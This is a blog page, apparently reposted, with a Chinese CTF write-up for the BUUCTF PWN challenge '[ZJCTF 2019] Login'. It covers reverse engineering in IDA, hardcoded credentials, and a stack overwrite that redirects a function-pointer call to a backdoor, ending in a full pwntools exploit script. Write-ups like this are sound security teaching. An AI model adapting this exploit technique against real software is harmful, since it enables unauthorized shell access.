zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——[ZJCTF 2019]Login

    [ZJCTF 2019]Login

    附件

    步骤:

    1. 例行检查,64位程序,开启了canary和nx保护

    在这里插入图片描述
    2. 试运行一下程序
    在这里插入图片描述
    3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd
    在这里插入图片描述
    再次尝试登录,无果
    在这里插入图片描述
    在程序里找到了后门函数,backdoor=0x400e88
    在这里插入图片描述
    c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻
    问题出现在检查密码的那个函数上
    反编译出来的伪代码看起来没什么问题
    在这里插入图片描述
    但是我们按下tab,看它的汇编,程序在结束前调用了call rax指令
    在这里插入图片描述
    逆向找一下rax的来源,通过查看汇编,找到了进入函数前给rax赋值的指令
    在这里插入图片描述
    通过ida查看读入密码的函数
    在这里插入图片描述
    看一下它在栈上的位置,距离是0x60-0x18 = 0x48
    在这里插入图片描述
    我们可以通过读入密码s去将var_18的地址改成我们之前看到的backdoor地址,之后检查密码的时候就跳转到那边,获取shell了

    密码2jctf_pa5sw0rd的长度是14(0xe),0x48-0xe=0x3a,我们在填充0x3a长度的数据,之后到了var_18的地址,填上backdoor地址,即可完成利用

    完整exp

    from pwn import *
     
    r = remote('node3.buuoj.cn',29427)
     
    backdoor = 0x400e88
    r.sendlineafter(': ','admin')
    r.sendlineafter(': ','2jctf_pa5sw0rd'+'x00'*0x3a+p64(backdoor))
     
    r.interactive()
    

    附上借鉴师傅的wp

  • 相关阅读:
    mvc3在各个IIS版本中的部署
    linq学习
    常用的正则表达式
    Jenkins+Git+Maven+Tomcat的初步学习
    12个用得着的JQuery代码片段
    JQuery原理介绍及学习方法
    【前端学习】javascript面向对象编程(继承和复用)
    c# throw和throw ex
    .net 信息采集ajax数据
    C# FileSystemWatcher 并发
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273676.html
Copyright © 2011-2022 走看看